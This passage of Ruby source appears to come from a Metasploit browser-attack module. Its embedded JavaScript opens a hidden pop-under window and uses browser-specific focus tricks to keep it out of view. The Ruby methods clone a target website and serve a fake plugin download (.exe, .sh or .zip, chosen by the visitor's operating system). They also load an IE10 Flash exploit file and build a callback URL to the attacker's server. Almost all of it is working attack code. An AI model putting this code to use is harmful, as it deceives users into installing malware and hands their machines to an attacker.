opts.x = window.screenLeft || window.screenX || 0;
opts.y = window.screenTop || window.screenY || 0;
var query_str = 'toolbar=no,scrollbars=yes,location=yes,statusbar=yes,'+
'menubar=no,width='+opts.w+',height='+opts.h+
',screenX='+opts.x+',screenY='+opts.y;
var pu = window.open(url, opts.name, query_str);
var c = pu.setInterval('window.blur(); opener.focus();', 1);
var c2 = window.setInterval('window.focus();', 1);
setTimeout(function(){ window.clearTimeout(c2); if(pu&&pu.clearTimeout) pu.clearTimeout(c); }, 3000);
if (browser.firefox) { // dbl check this!
// firefox needs a new popup to trick it.
pu.open('about:blank', '_b').close();
window.open('about:blank', '_b2').close()
}
else if (browser.chrome) {
var a = document.createElement("a");
a.href = "data:text/html,<scr"+"ipt>window.close();</scr"+"ipt>";
document.body.appendChild(a);
var cc = document.createEvent("MouseEvents");
cc.initMouseEvent("click", false, true, window, 0, 0, 0, 0, 0,
true, false, false, true, 0, null);
a.dispatchEvent(cc);
document.body.removeChild(a);
if(window.t2){window.t2.close();}
window.setTimeout(function(){if(window.t2){window.t2.close();}});
}
pu.blur(); window.focus(); window.self.window.focus(); // for good measure :)
return pu;
};
return popunder;
})(browser);
window.name = '__flash';
window.setInterval(function(){
window.name = '__flash';
},20);
EOS
end
# grabs the HTML content of the CLONEURL datastore option
def fetch_cloned_content(clone_url=datastore['CLONEURL'])
io = open(clone_url)
html = rewrite_urls(io)
io.close
html
end
# updates any elements in the document to use absolute paths
def rewrite_urls(io)
print_status 'Rewriting relative URLs in cloned HTML...'
doc = Nokogiri::HTML(io)
%w(href src data).each do |attr_name|
doc.css("[#{attr_name}]").each do |el|
# rewrite URL if not absolute
src = el.attributes[attr_name]
el.set_attribute(attr_name, URI.join(datastore['CLONEURL'], src))
end
end
doc.to_html
end
def swf_navigate_ie10
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "navigate_ie10.swf")
@flash_trigger ||= File.read(swf_path)
end
def swf_url(agent)
exe_url(agent).sub(/\.\w+$/, '.swf')
end
def exe_url(agent, base=base_url)
name = datastore["PLUGINNAME"].downcase.gsub(/\s+/, '_')
base ||= get_resource
if agent =~ /macintosh/i
"#{base}/#{name}_plugin.zip"
elsif agent =~ /linux/i
"#{base}/#{name}_plugin.sh"
else
"#{base}/#{name}_plugin.exe"
end
end
# @return [String] URL for sending requests back to the module
def base_url
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
"#{proto}://#{myhost}:#{datastore['SRVPORT']}#{get_resource}"
end
def plugin_url
datastore['PLUGINURL']
end
end